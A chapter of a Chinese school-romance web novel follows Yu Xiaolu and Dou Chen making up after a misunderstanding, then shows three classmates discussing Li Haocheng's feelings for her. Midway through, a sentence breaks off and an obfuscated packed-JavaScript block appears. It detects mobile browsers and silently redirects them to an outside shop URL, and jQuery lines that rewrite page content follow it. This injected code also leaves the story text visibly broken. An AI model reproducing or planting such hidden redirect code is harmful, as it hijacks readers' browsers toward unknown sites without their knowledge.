应该没人会喜欢星期一吧。班级里好多同学,还没从星期日的余温里抽出身。
俞小鹿去水房洗了把脸,果然精神不少。走进班级时,刚好看到窦晨在饮水机旁接水。
距离太近了,若不打招呼,会显得很生疏。况且窦晨也没发出不想辅导自己的信号。如果不想失去这个免费的辅导老师,就得主动些。
“你的水杯挺好看,我以前也有个一样的。”俞小鹿主动先开口。
“哦,是吗?”窦晨有些尴尬,为了掩饰抬手挠了挠后脑勺。
【os:能不像么,这个就是你呀。】
“你最近好像很爱喝水,是泡了什么东西吗?”
“泡什么东西?”窦晨似是没理解她说的意思。
“就是菊花啊,玫瑰啊,洛神花什么的。”俞小鹿解释道。
“哦,都不是。我就是冲的普通的氮磷钾。”
【os:天呢!说漏嘴了。】
“氮磷钾?”俞小鹿脱口而出,然后点点头,似是心领神会。对方口中的“氮磷钾”,很可能就是补充能量的饮品——唉,学霸就是幽默。
“我养了株豆角,最近也在用氮磷钾综合肥,长得很好。”
窦晨的脸色突然变了几变,俞小鹿还没来得及解读,上课铃响了起来。窦晨指了指门外说:“上课了。”
英语课,老张的课。只要主动举手回答一次问题,这节课就不会被老张过度关注。
俞小鹿回答了问题后,整个人都放松下来。回想短短几天,她和窦晨的关系怎么就这么微妙了。明明星期六的骑行,已经让他们的关系缓和了不少。
她偷偷拿出笔袋里的小镜子照了照。没有何曼婷好看,没有王璐瑶学习好,没有李欣悦聪明有心机,甚至都没有顾佳佳和赵妍上进。窦晨那么优秀,凭什么会因为她拒绝其他女生,自己是不是太自信了。她以前不可这样的。
星期日那天突然离去的行径,真的是太奇怪了,自己怎么会有这种举动呢。还好没人来问她那天是怎么了。她得想个办法,缓和一下气氛。
午休时,窦晨递给俞小鹿一张物理卷,是他自己手写的,上面的题大多和那天的骑行有关。
放学时,俞小鹿打算和窦晨一起的。可当她收拾好书包时,窦晨已经不在座位上了。
俞小鹿走在的人群中,抬头看到天边那颗闪亮的星,停住了脚步。她不知道它是什么星,只知道它每天第一个出现,而且还是天边最亮的那颗。
“你是在看最亮的那颗星吗”
窦晨不知什么时候赶了上来,顺着俞小鹿的目光看过去。
“它叫做黄昏晓,是黄昏即将结束,夜晚即将来临时,出现在天边的第一颗星。”
俞小鹿转头看向他,说:“你不是先走了吗?”
窦晨莞尔一笑,只是看着那颗星没说话。
俞小鹿看着他的侧颜,心中默默的想,你何曾不是我初中晦暗生活中,第一颗最亮的星。
她曾不止一次的想过,窦晨会不会是自己梦中的那个守护神,但又觉得太过荒谬。
自从窦晨出现后,不管是在学习上还是生活上,自己的改变都是挺大的。
“窦晨,”俞小鹿突然开口。“我为我星期日突然离开的事向你道歉。”
“理由呢?”
“我以为这几天你不理我,是因为我的存在,你才不得不决绝李欣悦。”
“这不是我不理你的原因。”
“啊?那是什么?”
“那天我看到了。”窦晨看向她。
“看到什么?”俞小鹿疑惑的问。
“你和李昊城在走廊的转角,我不知道他递给了你什么,你接了。在那之前,顾佳佳给我递过表白信,我没接。”
“我那天是想接李欣悦的告白信的,就是想气气你,可当我看到你的眼睛后,我没那么做。”
俞小鹿愣了下,急忙解释说。
“其实那天,李昊城递给我的不是告白信,是一张符纸。”
“符纸?”窦晨一愣。
“嗯,我画的。李欣悦把我的秘密公布于众,我一时气急贴在她背后吓吓她。但被李昊城用蛋糕换下来还我了。”
“你还会画符?”
“不会,说来话长。上学期我被一个老头骗了。花了一百块买了一堆废纸,符咒的书是他送给我的。”
“要不是信了他的鬼话,我的数学也不会打破自己的最低记录。我去找他理论,他拿一颗豆子就把我打发了。”
窦晨没说话。俞小鹿自顾自地说了下去:“还以为是什么神奇的魔豆呢——原来是株豆角。”
听到豆角,窦晨的脚步停了半拍。
“你说……豆角?”
“是啊,一百块买了一颗豆角种子。是不是很离谱?”
窦晨没回答,但他走路的速度比刚才慢了点,像是在心里是确认某件事。
“要不要加个好友?我回家拍张豆角的照片发你。”
“不用不用。”窦陈连连摆手,“我没有手机。”
俞小鹿点点头,心想难怪学习好,原来是不受外物所束缚。
回家后,她翻出那张窦晨手写的物理卷。最后一道题旁边,多了一行批注。笔迹是窦晨的,上面写着:“第一问对了,第二问的摩擦力,可以回忆一下我们那天骑自行车。”
窦晨为什么要对自己这么好呢?每天都会针对自己的学习情况,找一些有代表性的题拿给自己。做错了,他还会耐心的给自己讲解,直到完全明白。就算是冷战的那几天也没间断过。他想在自己这里得到什么呢?
俞小鹿看向摆在学习桌上的那株豆角,叶尖朝她的方向微微偏着。
***
自习室里,“三杰”各自做着卷子。空调的出风口发出低沉的嗡鸣声,盖住了翻卷子的声音。
“昊子,你这学期不在状态啊。”祝梓琪从卷子上抬起头,拿过水杯喝了口水。
尚进也放下了笔,椅子朝李昊城的方向转了半圈:“我也发现了。自从窦晨转来,你就不对劲儿。月考被挤出班级前三,你都没当回事儿,整天也不知道在想什么。”
李昊城没抬头,笔还在动:“我没有。”
“嘴硬。”尚进压低声音,但没压住笑意,“你以前堵她的时候,那气势多足
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786644|210194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
啊。‘语文那么好,分给数学一丁点会死吗?’现在呢?连走廊都不敢单独走,还得挑她旁边没人的时候才敢站过去。”
李昊城的笔停了一下,然后又继续写。
“我说实话,”尚进往后靠了靠,“你粉丝团里那几个女生,各有千秋——聪明的、机灵的、漂亮的,共同点还都是学习好,又都仰慕你。”
“我不需要她们仰慕我。”
“那你需要什么?”尚进接得很快,“你总得有一个目标吧。”
李昊城没接这句话,在纸上写了一个数字,又划掉了。
“就那个‘护城河’——你知不知道她们在底下是怎么想的?王璐瑶是头,她是真的崇拜你。李欣悦是为了成绩才靠近你,看到窦晨考得更好,马上换了目标。”
“何曼婷是语文课代表,被你迷得神魂颠倒,但从来不靠近。张玮追她,她连正眼都不看。张玮转头就去欺负俞小鹿——你的粉丝团,比你的感情线还乱。”祝梓琪边说边转着笔。
“张纬欺负俞小鹿,是因为何曼婷?”李昊城不解的问。
“对呀。他为啥发酸奶,不给俞小鹿发吸管儿,不就是因为何曼婷没得到钢笔么。”
“要我说,”祝梓琪把笔装进笔袋里,“你要是真的在意俞小鹿,就主动一点。别总是想用激将法——你那些话太重了,‘成绩差有什么资格喜欢我’——她现在听见你说这种话,估计会直接回你一句‘你以为你是谁’。”
“她现在确实比以前敢说话了。”尚进笑了一下又说:“你看窦晨,就很会找切入点。挂教数学的羊头,卖泡妞的狗肉。那天一边骑着双人自行车带她,一边讲物理题,真是绝了。”
“那是复习。”李昊城终于开口了。
“复习?你以前带她复习过吗?”
李昊城没有回答。
自习室里安静了一会儿。空调出风口的声音持续运转着,填补了对话之间的间隙。
“你第一次注意到她,到底是什么时候啊?”尚进问。
李昊城把笔放下来,看着面前那张做了一半的卷子,过了一会儿才说:“初一迎新会。她在台上弹古筝,穿着白裙子。弹的是《青花瓷》。”
尚进和祝梓琪都没说话。
过了几秒,尚进轻轻说了一句:“那你当时怎么不找她?”
“我不知道该怎么表达。”
三人又是一这阵沉默。
祝梓琪开始收拾书包:“你自己想清楚,要么全身心投入到学习中,要么让她知道你的心意。别再这么半死不活的,现在已经到了冲刺的阶段,你可别掉队。”
“我先走了,你们也别待太晚。”说着向门口走去。
尚进站起来,经过李昊城桌边时停了一下:“对了昊子,李欣悦假期发的那个朋友圈到底怎么回事?明眼人一看就知道说的是你。怎么,你俩处了?”
李昊城把笔搁在桌上。“没有。”
“那她发那个干嘛?”
“她发什么是她的事。”李昊城把卷子折起来放进书包,“我没让她发。”
尚进看了他两秒,没再追问。他拿起书包,也走了出去。